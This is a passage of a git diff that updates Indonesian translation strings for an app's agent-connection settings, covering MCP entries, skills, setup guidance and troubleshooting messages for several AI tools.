", ["rowLabel"]],"wT4iQr": ["Membuka pencarian penyunting visual dengan kendali penggantian terbentang."],"wTcjov": ["Tanpa ruang kerja"],"wU8WyK": ["Bidang elemen"],@@ -4799,7 +5005,9 @@"wdxz7K": ["Sumber"],"wdzBgi": ["Berbagi konfigurasi kini Hanya saya."],"weP6me": ["Dokumen tidak bisa dimuat — ketik @ lagi untuk mencoba ulang"],+ "wfZwqe": ["Pasang ", ["rowLabel"]],"wgNoIs": ["Pilih semua"],+ "wgj--j": ["Menambahkan entri MCP OpenKnowledge global untuk agen ini."],"wk_v1X": ["Sinkronisasi worktree ini disetel ke Otomatis (Pull dan Push), diwarisi dari ",["project"],@@ -4934,7 +5142,6 @@"yZmvQ4": ["Server proyek ini (v", ["0"], ") lebih baru daripada aplikasi ini (v", ["1"], ")."],"y_5CE8": ["Item ", ["0"]],"y_K0Dz": ["Apa yang terjadi?"],- "yaPGPa": ["Buka sebuah proyek untuk mengelola koneksi alat AI-nya."],"ybPMz3": ["Tidak dapat menyematkan ", ["name"]],"ycIX5i": ["Anda sudah keluar — masuk untuk melanjutkan sinkronisasi."],"yckias": ["Ganti nama berkas"],@@ -4957,9 +5164,6 @@["source"],"</0> — agen yang berjalan di sini tidak dapat memuatnya. Salin ke sini untuk mengeditnya."],- "yhdqox": [- "Terpasang — ok tersedia di terminal eksternal. Melepas centang menghapusnya; terminal bawaan dan alat AI OpenKnowledge tetap berfungsi."- ],"yhy5h-": ["Lihat semua ", ["count"], " keterampilan"],"yit5dF": ["Belum ada folder di proyek ini."],"yjExfe": ["Cabang <0>", ["shareBranch"], "</0> sedang dipakai di:"],@@ -4972,7 +5176,6 @@"yvG-l1": ["Buka panel lint sumber"],"yvHDYG": ["Claude Desktop"],"yvSAuM": ["Berhenti memperbaiki. Berkas yang sudah diperbaiki tetap terperbaiki."],- "ywVfOE": ["Keterampilan proyek ini dipindahkan ke Studio Keterampilan."],"yxF19Y": [["0", "plural", { "other": ["#", " plugin"] }]],"yz7wBu": ["Tutup"],"yzF66j": ["Tautan"],diff --git a/packages/app/src/locales/id/messages.po b/packages/app/src/locales/id/messages.poindex ffc124584..93c144d03 100644--- a/packages/app/src/locales/id/messages.po+++ b/packages/app/src/locales/id/messages.po@@ -330,6 +330,12 @@ msgstr "{0} membiarkan {1} bertindak tanpa bertanya"msgid "{0} needs {1}"msgstr "{0} membutuhkan {1}"+#. placeholder {0}: removed.dependent+#. placeholder {1}: removed.prerequisite+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{0} needs {1}. Turn both off, or keep both on."+msgstr "{0} memerlukan {1}. Nonaktifkan keduanya, atau biarkan keduanya aktif."+#. placeholder {0}: item.displayName#: src/components/acp/ThreadView.tsxmsgid "{0} needs replacing"@@ -470,6 +476,31 @@ msgstr "{0} thn lalu"msgid "{accessibleLabel} (conflict)"msgstr "{accessibleLabel} (konflik)"+#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.claude-desktop.per-tool-approval"+msgstr "{agent} meminta Anda menyetujui setiap alat OpenKnowledge saat pertama kali digunakan."++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.mcp.session-injection"+msgstr "{agent} menerima alat OpenKnowledge setiap kali OpenKnowledge menjalankannya; tidak ada yang ditulis ke konfigurasinya."++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.pi.folder-trust"+msgstr "{agent} hanya memuat ekstensi proyek di folder yang Anda percayai; percayai folder ini di {agent} jika alat tidak muncul."++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.copilot.shared-workspace-config"+msgstr "{agent} membaca konfigurasi MCP ruang kerja yang ditulis OpenKnowledge untuk {sourceAgent}; menghapusnya untuk satu berarti menghapusnya untuk keduanya."++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.openclaw.central-store-missing"+msgstr "Penyimpanan keterampilan pusat {agent} belum ada; jalankan {agent} sekali agar ia membuatnya, lalu coba lagi."+#: src/components/acp/ThreadView.tsxmsgid "{agentName} couldn't start a conversation."msgstr "{agentName} tidak dapat memulai percakapan."@@ -520,6 +551,10 @@ msgstr "{boldName} adalah bagian dari plugin <0>{0}</0>{pluginVersion} — hanyamsgid "{boldName} lives outside this project, at <0>{source}</0> — agents running here can't load it. Copy it in to edit."msgstr "{boldName} berada di luar proyek ini, di <0>{source}</0> — agen yang berjalan di sini tidak dapat memuatnya. Salin ke sini untuk mengeditnya."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{changeCount, plural, one {# change} other {# changes}}"+msgstr "{changeCount, plural, one {# perubahan} other {# perubahan}}"+#: src/components/EditorFooter.tsxmsgid "{chars, plural, one {char} other {chars}}"msgstr "{chars, plural, other {karakter}}"@@ -609,6 +644,26 @@ msgstr "{days, plural, other {# hari lalu}}"msgid "{days}d ago"msgstr "{days} hr lalu"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{dependent} needs {prerequisite}, and OpenKnowledge cannot safely replace that entry in this file's format."+msgstr "{dependent} memerlukan {prerequisite}, dan OpenKnowledge tidak dapat mengganti entri tersebut dengan aman dalam format file ini."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{dependent} needs {prerequisite}, and OpenKnowledge could not find this agent on this machine."+msgstr "{dependent} memerlukan {prerequisite}, dan OpenKnowledge tidak menemukan agen ini di mesin ini."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{dependent} needs {prerequisite}, and OpenKnowledge does not recognize that entry. Tick {prerequisite} to replace it, then save again."+msgstr "{dependent} memerlukan {prerequisite}, dan OpenKnowledge tidak mengenali entri tersebut. Centang {prerequisite} untuk menggantinya, lalu simpan lagi."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{dependent} needs {prerequisite}, and this agent has no file of that kind on this machine yet. Open the agent once, then try again."+msgstr "{dependent} memerlukan {prerequisite}, dan agen ini belum memiliki file jenis itu di mesin ini. Buka agen sekali, lalu coba lagi."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{dependent} needs {prerequisite}, which OpenKnowledge cannot set up for you. Its setup guide has the manual steps."+msgstr "{dependent} memerlukan {prerequisite}, yang tidak dapat disiapkan OpenKnowledge untuk Anda. Panduan penyiapannya berisi langkah-langkah manual."+#: src/editor/extensions/JsxComponentView.tsxmsgid "{descriptorLabel} — render error, source editable below"msgstr "{descriptorLabel} — galat render, sumber bisa disunting di bawah"@@ -650,7 +705,7 @@ msgstr "{displayName} ({bin}) belum terpasang atau tidak ada di PATH Anda."#: src/components/handoff/OpenInAgentContextSubmenu.tsx#: src/components/handoff/OpenInAgentEmptySpaceSubmenu.tsx#: src/components/handoff/OpenInAgentMenu.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "{displayName} CLI"msgstr "CLI {displayName}"@@ -660,7 +715,7 @@ msgid "{displayName} CLI, {hint}"msgstr "CLI {displayName}, {hint}"#: src/components/handoff/agent-launcher-labels.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "{displayName} Desktop"msgstr "{displayName} Desktop"@@ -1060,10 +1115,6 @@ msgstr "<{componentName}> bukan komponen yang dikenal. Salin sumbernya untuk dipmsgid "<{descriptorLabel}> failed to render (likely a bad prop). Copy the source to see what went wrong, or delete the block."msgstr "<{descriptorLabel}> gagal dirender (kemungkinan prop yang salah). Salin sumbernya untuk melihat apa yang salah, atau hapus bloknya."-#: src/components/settings/AiToolsSection.tsx-msgid "<0>~/.ok/bin</0> and <1>~/.ok/env.sh</1> stay either way — the app always maintains them."-msgstr "<0>~/.ok/bin</0> dan <1>~/.ok/env.sh</1> tetap ada apa pun pilihannya — aplikasi selalu memeliharanya."-#: src/editor/components/Mirror.tsxmsgid "<0>Mirror — pick a source.</0> Set <1>src</1> + <2>anchor</2> via the property panel to point at a <3><MirrorSource></3> elsewhere."msgstr "<0>Cermin — pilih sebuah sumber.</0> Atur <1>src</1> + <2>anchor</2> lewat panel properti agar mengarah ke <3><MirrorSource></3> di tempat lain."@@ -1489,6 +1540,14 @@ msgstr "Tambahkan item ke {keyName}"msgid "Add link"msgstr "Tambahkan tautan"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Add MCP & skill"+msgstr "Tambahkan MCP & keterampilan"++#: src/components/settings/AgentConnectionsSection.tsx+msgid "Add MCP & skill for {rowLabel}"+msgstr "Tambahkan MCP & keterampilan untuk {rowLabel}"+#: src/components/settings/SearchSection.tsxmsgid "Add meaning-based ranking to search so conceptually-related pages surface even when they share no keywords."msgstr "Menambahkan pemeringkatan berbasis makna ke pencarian agar halaman yang berkaitan secara konsep tetap muncul meski tidak berbagi kata kunci."@@ -1527,10 +1586,9 @@ msgstr "Tambah tab"msgid "Add tag"msgstr "Tambahkan tag"-#. Checkbox in Settings → AI tools & CLI that adds the ok CLI to the user's shell PATH#. Toggle in the first-launch dialog that adds the ok CLI to the user's shell PATH#: src/components/McpConsentDialogBody.tsx-#: src/components/settings/AiToolsSection.tsx+#: src/components/settings/OkCliPathRow.tsxmsgid "Add the <0>ok</0> command to your terminal"msgstr "Tambahkan perintah <0>ok</0> ke terminal Anda"@@ -1564,16 +1622,15 @@ msgstr "Tambahkan komentar Anda ke pesan ini"msgid "Added"msgstr "Ditambahkan"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Adds a global OpenKnowledge MCP entry for this agent."+msgstr "Menambahkan entri MCP OpenKnowledge global untuk agen ini."+#: src/components/McpConsentDialogBody.tsx-#: src/components/settings/AiToolsSection.tsx+#: src/components/settings/OkCliPathRow.tsxmsgid "Adds a managed block to"msgstr "Menambahkan blok terkelola ke"-#. placeholder {0}: status.path.rcFilesToTouch.join(', ')-#: src/components/settings/AiToolsSection.tsx-msgid "Adds a managed block to {0}"-msgstr "Menambahkan blok terkelola ke {0}"-#. Subtext under the project AI-tools checkbox#: src/components/ProjectAiToolsField.tsxmsgid "Adds an OpenKnowledge MCP entry and the project skill to <0>{toolList}</0>, so your agents can read and edit your files."@@ -1584,6 +1641,20 @@ msgstr "Menambahkan entri MCP OpenKnowledge dan keterampilan proyek ke <0>{toolLmsgid "Adds an OpenKnowledge MCP entry to <0>{connectToolList}</0>, so your agents can read and edit your files."msgstr "Menambahkan entri MCP OpenKnowledge ke <0>{connectToolList}</0> agar agen Anda dapat membaca dan mengedit berkas Anda."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Adds an OpenKnowledge MCP entry to this project's agent config."+msgstr "Menambahkan entri MCP OpenKnowledge ke konfigurasi agen proyek ini."++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.mcp.user-config"+msgstr "Menambahkan OpenKnowledge ke konfigurasi MCP milik {agent}, sehingga semua proyek di mesin ini dapat dijangkau."++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.mcp.project-config"+msgstr "Menambahkan OpenKnowledge ke konfigurasi MCP yang dibaca {agent} di proyek ini, sehingga ia dapat membaca, mencari, dan mengedit dokumen-dokumen ini."+#: src/components/ReportBugDialogBody.tsxmsgid "Adds telemetry, server state, and runtime info when available. Credentials are always removed; document names, if included, appear in cleartext (not redacted)."msgstr "Menambahkan telemetri, keadaan server, dan info runtime bila tersedia. Kredensial selalu dihapus; nama dokumen, jika disertakan, muncul sebagai teks biasa (tidak disunting)."@@ -1636,6 +1707,11 @@ msgstr "Obrolan agen"msgid "Agent configuration file"msgstr "Berkas konfigurasi agen"+#: src/components/settings/AgentConnectionsSection.tsx+#: src/components/settings/SettingsDialogShell.tsx+msgid "Agent connections"+msgstr "Koneksi agen"+#: src/components/acp/ThreadView.tsxmsgid "Agent mode"msgstr "Mode agen"@@ -1657,23 +1733,14 @@ msgid "Agent transcript"msgstr "Transkrip agen"#: src/components/ExploreSkills.tsx+#: src/components/settings/SettingsDialogShell.tsxmsgid "Agents"msgstr "Agen"-#: src/components/settings/AiToolsSection.tsx-msgid "AI tool management is only available in the OpenKnowledge desktop app."-msgstr "Pengelolaan alat AI hanya tersedia di aplikasi desktop OpenKnowledge."--#: src/components/settings/ProjectAiToolsSection.tsx#: src/components/settings/SettingsDialogShell.tsxmsgid "AI tools"msgstr "Alat AI"-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/SettingsDialogShell.tsx-msgid "AI tools & CLI"-msgstr "Alat AI & CLI"-#: src/editor/bubble-menu/ImageAlignButtons.tsxmsgid "Align center"msgstr "Rata tengah"@@ -2393,14 +2460,6 @@ msgstr "Kotak sorot menarik perhatian ke informasi penting."msgid "Can't nest projects. An OpenKnowledge project already exists at <0>{rootPath}</0>. Choose a location outside it, or open that project instead."msgstr "Proyek tidak bisa disarangkan. Sudah ada proyek OpenKnowledge di <0>{rootPath}</0>. Pilih lokasi di luarnya, atau buka proyek itu saja."-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Can't safely edit this project config"-msgstr "Konfigurasi proyek ini tidak bisa disunting dengan aman"--#: src/components/settings/AiToolsSection.tsx-msgid "Can't safely edit this tool's config"-msgstr "Konfigurasi alat ini tidak bisa disunting dengan aman"-#: src/lib/share/run-share-action.tsmsgid "Can't share this path."msgstr "Tidak dapat membagikan jalur ini."@@ -2429,6 +2488,7 @@ msgstr "Tidak dapat membagikan jalur ini."#: src/components/PublishToGitHubDialog.tsx#: src/components/ReportBugDialogBody.tsx#: src/components/SeedDialog.tsx+#: src/components/settings/AgentConnectionDialogs.tsx#: src/components/settings/LinkPreviewsSection.tsx#: src/components/settings/LintingSection.tsx#: src/components/settings/NetworkAccessSection.tsx@@ -2655,6 +2715,15 @@ msgstr "Pilih ikon"msgid "Choose what a new tab starts"msgstr "Pilih apa yang dimulai tab baru"+#. placeholder {0}: connection.label+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Choose what OpenKnowledge sets up for {0}."+msgstr "Pilih apa yang disiapkan OpenKnowledge untuk {0}."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Choose what OpenKnowledge sets up."+msgstr "Pilih apa yang disiapkan OpenKnowledge."+#: src/comments/CommentSendFooter.tsxmsgid "Choose where to send these comments"msgstr "Pilih ke mana komentar ini dikirim"@@ -2667,9 +2736,9 @@ msgstr "Pilih ke mana pesan ini dikirim"msgid "Choose whether this project's OpenKnowledge setup, including its AI-tool connections, is saved with the project so teammates get it too, or kept only on your computer."msgstr "Pilih apakah penyiapan OpenKnowledge proyek ini, termasuk koneksi alat AI-nya, disimpan bersama proyek agar rekan tim juga mendapatkannya, atau disimpan hanya di komputer Anda."-#: src/components/settings/ConfigureAgentsSection.tsx-msgid "Choose which agents appear in agent menus across the app, such as Ask AI, Open with AI, and the + new chat button. Turn an agent off to hide it from all of them."-msgstr "Pilih agen mana yang muncul di menu agen di seluruh aplikasi, seperti Ask AI, Open with AI, dan tombol + obrolan baru. Nonaktifkan agen untuk menyembunyikannya dari semuanya."+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Choose which agents appear in agent menus across the app, and set them up to read and update your documents."+msgstr "Pilih agen mana yang muncul di menu agen di seluruh aplikasi, lalu siapkan agar mereka dapat membaca dan memperbarui dokumen Anda."#. Section label above the light/dark/system cards in the first-launch dialog#: src/components/McpConsentDialogBody.tsx@@ -3143,7 +3212,6 @@ msgstr "Peringatan konfigurasi"#: src/components/handoff/OpenInAgentContextSubmenu.tsx#: src/components/handoff/OpenInAgentEmptySpaceSubmenu.tsx#: src/components/handoff/OpenInAgentMenu.tsx-#: src/components/settings/ConfigureAgentsSection.tsx#: src/components/settings/SettingsDialogShell.tsx#: src/components/TerminalNewChatButton.tsxmsgid "Configure agents"@@ -3208,10 +3276,6 @@ msgstr "Hubungkan GitHub untuk melanjutkan."msgid "Connect OpenKnowledge to other tools you use."msgstr "Hubungkan OpenKnowledge dengan alat lain yang Anda pakai."-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Connect the AI tools you use to this specific project. These files live in the project folder, so anyone who opens it gets the same setup."-msgstr "Hubungkan alat AI yang Anda pakai ke proyek ini secara khusus. Berkas-berkas ini ada di folder proyek, jadi siapa pun yang membukanya mendapat penyiapan yang sama."-#: src/components/EditorTabTargetMenuItems.tsx#: src/components/FileSidebar.tsx#: src/components/FileTree.tsx@@ -3240,6 +3304,10 @@ msgstr "Hubungkan alat AI Anda"msgid "Connect your AI tools to this project"msgstr "Hubungkan alat AI Anda ke proyek ini"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Connected"+msgstr "Terhubung"+#. placeholder {0}: response.dimensions#: src/components/settings/SearchSection.tsxmsgid "Connected — this endpoint returns {0}-dimension vectors."@@ -3288,10 +3356,18 @@ msgstr "Galat koneksi — coba lagi"msgid "Connection lost — keep this tab open, your edits will sync when reconnected"msgstr "Koneksi hilang — biarkan tab ini terbuka, suntingan Anda akan tersinkron saat tersambung kembali"-#. Next step for a Codex project MCP row-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Connects automatically the next time you open this project in a trusted Codex session."-msgstr "Terhubung otomatis lain kali Anda membuka proyek ini di sesi Codex tepercaya."+#. js-lingui-explicit-id+#: src/lib/agent-followup-hint.ts+msgid "followup.trust-gated"+msgstr "Terhubung otomatis lain kali Anda membuka proyek ini di sesi {agent} tepercaya."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Connects the agent to OpenKnowledge in every project on this machine."+msgstr "Menghubungkan agen ke OpenKnowledge di setiap proyek pada mesin ini."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Connects the agent to this project so it can read, search, and edit your documents."+msgstr "Menghubungkan agen ke proyek ini agar dapat membaca, mencari, dan mengedit dokumen Anda."#: src/components/acp/working-status.tsmsgid "Contemplating…"@@ -3659,9 +3735,8 @@ msgid "Couldn't add that comment."msgstr "Komentar itu tidak bisa ditambahkan."#. placeholder {0}: err instanceof Error ? err.message : String(err)-#: src/components/settings/AiToolsSection.tsx#: src/components/settings/BuiltInSkillsSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx+#: src/components/settings/OkCliPathRow.tsxmsgid "Couldn't apply the change: {0}"msgstr "Perubahannya tidak bisa diterapkan: {0}"@@ -3669,6 +3744,10 @@ msgstr "Perubahannya tidak bisa diterapkan: {0}"msgid "Couldn't check whether {filePath} is still conflicted — retrying."msgstr "Tidak dapat memeriksa apakah {filePath} masih berkonflik — mencoba lagi."+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Couldn't check which tools are connected."+msgstr "Tidak bisa memeriksa alat mana yang terhubung."+#: src/components/settings/SearchSection.tsxmsgid "Couldn't clear the key — please try again."msgstr "Kuncinya tidak bisa dibersihkan — silakan coba lagi."@@ -3944,7 +4023,7 @@ msgstr "Server kolaborasi tidak bisa dihubungi — {errorDetail}. Coba <0>ok stamsgid "Couldn't reach GitHub. Try again?"msgstr "GitHub tidak bisa dihubungi. Coba lagi?"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Couldn't reach the agent registry."msgstr "Registri agen tidak bisa dihubungi."@@ -4397,11 +4476,6 @@ msgstr "Endpoint khusus"msgid "Custom HTML with a live preview pane (sandboxed iframe)."msgstr "HTML khusus dengan panel pratinjau langsung (iframe tersekat)."-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Custom open-knowledge entry — not managed by OpenKnowledge"-msgstr "Entri open-knowledge khusus — tidak dikelola OpenKnowledge"-#: src/components/settings/SkillTargetsPicker.tsxmsgid "Custom skills folder path"msgstr "Jalur folder keterampilan khusus"@@ -4772,6 +4846,10 @@ msgstr "Putuskan koneksi"msgid "Disconnecting"msgstr "Memutus koneksi"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Discovery skills are managed for all AI tools together. Install this one from Settings → Skills Studio."+msgstr "Skill penemuan dikelola bersama untuk semua alat AI. Instal skill ini dari Pengaturan → Studio Keterampilan."+#: src/components/BranchRecycleBanner.tsx#: src/components/NavigatorApp.tsx#: src/components/OnboardingCard.tsx@@ -5256,17 +5334,17 @@ msgstr "Isi awal kosong"#. placeholder {0}: agent.name#. placeholder {0}: plugin.label#. placeholder {0}: rule.name-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsx#: src/components/settings/LintingSection.tsx#: src/components/settings/markdownlint-rule-browser.tsxmsgid "Enable {0}"msgstr "Aktifkan {0}"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Enable {displayName} CLI"msgstr "Aktifkan CLI {displayName}"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Enable {displayName} Desktop"msgstr "Aktifkan {displayName} Desktop"@@ -5412,11 +5490,6 @@ msgstr "Masukkan URL yang valid, misalnya https://notes.example.com"msgid "Enter the public origin your tunnel serves, for example https://notes.example.com"msgstr "Masukkan origin publik yang dilayani tunnel Anda, misalnya https://notes.example.com"-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Entry"-msgstr "Entri"-#: src/components/settings/ContentRulesSection.tsxmsgid "Error"msgstr "Galat"@@ -5559,7 +5632,7 @@ msgstr "Mengekspos akan menetapkan port tetap agar target tunnel tetap stabil di#: src/components/handoff/OpenInAgentContextSubmenu.tsx#: src/components/handoff/OpenInAgentEmptySpaceSubmenu.tsx#: src/components/handoff/OpenInAgentMenu.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "External apps"msgstr "Aplikasi eksternal"@@ -5943,8 +6016,6 @@ msgstr "Bidang"#: src/components/AppMenubar.tsx#: src/components/CommandPalette.tsx-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx#: src/components/share-metadata-rows.tsx#: src/editor/slash-command/component-items.tsx#: src/lib/native-menu-catalog.ts@@ -6352,9 +6423,9 @@ msgstr "GitHub, sebuah URL git, atau jalur lokal."msgid "Give it a name before editing its colors."msgstr "Beri nama sebelum menyunting warnanya."-#: src/components/settings/AiToolsSection.tsx-msgid "Give the AI tools you use access to read and update your projects. Checking a box sets it up right away; unchecking removes it."-msgstr "Beri alat AI yang Anda pakai akses untuk membaca dan memperbarui proyek Anda. Mencentang kotak langsung menyiapkannya; melepas centang menghapusnya."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Gives the agent instructions for working with your documents and keeps its edits attributed."+msgstr "Memberi agen instruksi untuk bekerja dengan dokumen Anda dan menjaga suntingannya tetap teratribusi."#: src/components/settings/LintingSection.tsxmsgid "Glob patterns this schema applies to"@@ -6366,6 +6437,10 @@ msgstr "Pola glob tempat skema ini berlaku"msgid "Global"msgstr "Global"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Global MCP server"+msgstr "Server MCP global"+#: src/lib/keyboard-shortcuts.tsmsgid "Global outside text fields"msgstr "Global di luar bidang teks"@@ -6505,6 +6580,7 @@ msgstr "Bantuan"#. Subtext under the discovery-skill checkbox#: src/components/McpConsentDialogBody.tsx+#: src/components/settings/AgentConnectionDialogs.tsxmsgid "Help your agents discover and use OpenKnowledge in any project."msgstr "Bantu agen Anda menemukan dan menggunakan OpenKnowledge di proyek mana pun."@@ -6714,15 +6790,13 @@ msgstr "Seberapa sering komputer ini menarik perubahan dari remote Anda."msgid "How to push manually"msgstr "Cara push manual"-#. Link on an undetected tool row to its OpenKnowledge setup guide-#: src/components/settings/AiToolsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "How to set up"msgstr "Cara menyiapkan"-#. placeholder {0}: editor.label-#: src/components/settings/AiToolsSection.tsx-msgid "How to set up {0} (opens in browser)"-msgstr "Cara menyiapkan {0} (terbuka di peramban)"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "How to set up {rowLabel}"+msgstr "Cara menyiapkan {rowLabel}"#: src/components/settings/builtin-skill-copy.tsmsgid "How to set up new projects with OpenKnowledge."@@ -6781,6 +6855,21 @@ msgstr "ID: {0}"msgid "Identical in both — {pick} still reads them."msgstr "Identik di keduanya — {pick} tetap membacanya."+#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.lm-studio.config-path-mismatch"+msgstr "Jika {agent} tidak menampilkan alat OpenKnowledge, periksa apakah jalur konfigurasi MCP di pengaturannya cocok dengan berkas yang ditulis OpenKnowledge."++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.claude.project-entry-not-approved"+msgstr "Jika {agent} tidak menampilkan alat OpenKnowledge, jalankan di proyek ini dan setujui server OpenKnowledge sekali."++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.cursor.project-entry-not-loaded"+msgstr "Jika {agent} tidak menampilkan alat OpenKnowledge, nyalakan server di Settings → Tools & MCP; {agent} membiarkan server proyek mati sampai Anda melakukannya."+#: src/components/AutoSyncEnableWarning.tsxmsgid "If an update arrives for something you are editing, you choose which version to keep, like a merge conflict."msgstr "Jika sebuah pembaruan datang untuk hal yang sedang Anda sunting, Anda memilih versi mana yang disimpan, seperti konflik penggabungan."@@ -6884,7 +6973,7 @@ msgstr "Dalam dokumen indeks: entri berada di bawah judul bagian dan masing-masi#: src/components/handoff/OpenInAgentContextSubmenu.tsx#: src/components/handoff/OpenInAgentEmptySpaceSubmenu.tsx#: src/components/handoff/OpenInAgentMenu.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsx#: src/components/TerminalNewChatButton.tsxmsgid "In app"msgstr "Di aplikasi"@@ -7071,6 +7160,7 @@ msgid "Insert, delete, move, copy, and indent source editor lines through CodeMimsgstr "Menyisipkan, menghapus, memindahkan, menyalin, dan mengindentasi baris penyunting sumber lewat peta tombol bawaan CodeMirror."#: src/components/InstallInClaudeDesktopDialog.tsx+#: src/components/settings/AgentConnectionsSection.tsx#: src/components/settings/IntegrationsSection.tsx#: src/components/settings/ProjectSkillSection.tsx#: src/components/settings/SkillsStudioIntroDialog.tsx@@ -7092,6 +7182,10 @@ msgstr "Pasang {0}"msgid "Install {brand} →"msgstr "Pasang {brand} →"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Install {rowLabel}"+msgstr "Pasang {rowLabel}"+#: src/components/settings/SkillTargetsPicker.tsxmsgid "install a skill here first"msgstr "instal dulu sebuah skill di sini"@@ -7168,22 +7262,12 @@ msgstr "Pasang CLI gh"msgid "Install this skill"msgstr "Pasang keterampilan ini"-#: src/components/settings/AiToolsSection.tsx#: src/components/settings/LintingSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx#: src/components/SkillEditorActions.tsx#: src/components/SkillPluginBundleDialog.tsxmsgid "Installed"msgstr "Terpasang"-#: src/components/settings/AiToolsSection.tsx-msgid "Installed — ok is available in external terminals. Unchecking removes it; OpenKnowledge's built-in terminal and AI tools keep working."-msgstr "Terpasang — ok tersedia di terminal eksternal. Melepas centang menghapusnya; terminal bawaan dan alat AI OpenKnowledge tetap berfungsi."--#: src/components/settings/AiToolsSection.tsx-msgid "Installed — ok is available in external terminals. Unchecking removes it; your AI tools keep working."-msgstr "Terpasang — ok tersedia di terminal eksternal. Menghapus centang akan menghapusnya; alat AI Anda tetap berfungsi."-#. placeholder {0}: skill.name#. placeholder {1}: label(added)#: src/components/skill-actions.tsx@@ -7241,6 +7325,14 @@ msgstr "Terpasang untuk semua proyek Anda"msgid "Installs into this project"msgstr "Terpasang ke proyek ini"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Installs the OpenKnowledge discovery skill for this agent."+msgstr "Menginstal keterampilan penemuan OpenKnowledge untuk agen ini."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Installs the OpenKnowledge project skill for this agent."+msgstr "Menginstal keterampilan proyek OpenKnowledge untuk agen ini."+#: src/components/SkillInstallMenu.tsxmsgid "Installs the skill to {path} — the first location holds its own copy"msgstr "Memasang skill ke {path} — lokasi pertama menyimpan salinan aslinya"@@ -7639,7 +7731,7 @@ msgstr "Memuat {fileName}"msgid "Loading agent activity"msgstr "Memuat aktivitas agen"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Loading agents…"msgstr "Memuat agen…"@@ -7862,11 +7954,16 @@ msgstr "Respons listPacks salah bentuk"msgid "Malformed plan response"msgstr "Respons plan salah bentuk"+#: src/components/settings/AgentConnectionsSection.tsx#: src/components/settings/BuiltInSkillsSection.tsx#: src/components/settings/ProjectSkillSection.tsxmsgid "Manage"msgstr "Kelola"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Manage {rowLabel}"+msgstr "Kelola {rowLabel}"+#: src/components/EditorTabTargetMenuItems.tsx#: src/components/FileTree.tsxmsgid "Manage hidden files in Settings → Ignore patterns."@@ -7880,13 +7977,10 @@ msgstr "Kelola folder keterampilan"msgid "Manage the GitHub account OpenKnowledge uses to browse and sync your repositories."msgstr "Kelola akun GitHub yang dipakai OpenKnowledge untuk menelusuri dan menyinkronkan repositori Anda."-#: src/components/settings/AiToolsSection.tsx-msgid "Managing AI tools is unavailable in this build."-msgstr "Pengelolaan alat AI tidak tersedia pada build ini."--#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Managing project AI tools is unavailable in this build."-msgstr "Pengelolaan alat AI proyek tidak tersedia pada build ini."+#: src/components/settings/AgentConnectionDialogs.tsx+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Managing agent connections is unavailable in this build."+msgstr "Pengelolaan koneksi agen tidak tersedia di build ini."#: 